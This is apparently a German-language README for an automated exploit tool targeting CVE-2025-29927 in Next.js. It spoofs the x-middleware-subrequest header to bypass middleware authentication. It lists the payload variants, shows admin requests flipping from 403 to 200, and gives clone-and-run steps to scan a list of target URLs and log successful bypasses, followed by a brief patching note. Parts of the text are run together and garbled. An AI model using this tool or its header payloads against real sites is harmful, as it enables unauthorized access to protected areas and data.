
CVE-2025-29927: Next.js-Middleware-Exploit
Dieses Tool demonstriert und automatisiert die Ausnutzung von CVE-2025-29927, einer Schwachstelle in Next.js, die es einem Angreifer ermöglicht, Middleware-Prüfungen (wie Authentifizierung) zu umgehen, indem er den internen Header x-middleware-subrequest missbraucht.
Next.js verwendet intern den Header x-middleware-subrequest, um Endlosschleifen bei rekursiven Anfragen zu verhindern. In bestimmten Versionen ist dieser Header jedoch nicht vor externer Manipulation geschützt, sodass ein Angreifer ihn fälschen kann.
Durch das manuelle Setzen dieses Headers wird die Middleware-Logik, die für die Durchsetzung von Authentifizierung, Weiterleitungen, Protokollierung oder Filterung verantwortlich ist, vollständig übersprungen.
x-middleware-subrequest403 wird zu 20015.2.314.2.2513.5.9next start mit Output: standalone)next export)Normal Request:
GET /admin --> 403 Forbidden
Request with Header:
GET /admin --> 200 OK
x-middleware-subrequest: middleware
Selbst wenn das Ziel die Authentifizierung über Middleware prüft, umgeht dies sie vollständig.
git clone https://github.com/0x0Luk/0xMiddleware.git
cd 0xMiddleware
Erstellen Sie eine Datei namens urls.txt mit einer URL pro Zeile:
https://target.com/admin
https://target.com/_next/static/asset.js
python3 0xMiddleware.py urls.txt
Sendet Anfragen an jede URL mit und ohne den Exploit-Header
Verwendet mehrere Payload-Varianten:
middlewarepages/_middlewaresrc/middlewareProtokolliert:
middleware_exploited.txt: für echte Bypasses (403 → 200)middleware_response_diff.txt: wenn sich der Antwortinhalt unterscheidetAktualisieren Sie Next.js sofort auf eine sichere Version:
15.2.3+14.2.25+13.5.9+Außerdem:
getServerSideProps, JWT, Sitzungen)[✔] Bypass successful: https://target.com/admin (payload: middleware)
[•] Response difference detected: https://target.com/login (payload: src/middleware)
[✔] Found 3 bypasses > middleware_exploited.txt
[•] Found 5 response diffs > middleware_response_diff.txt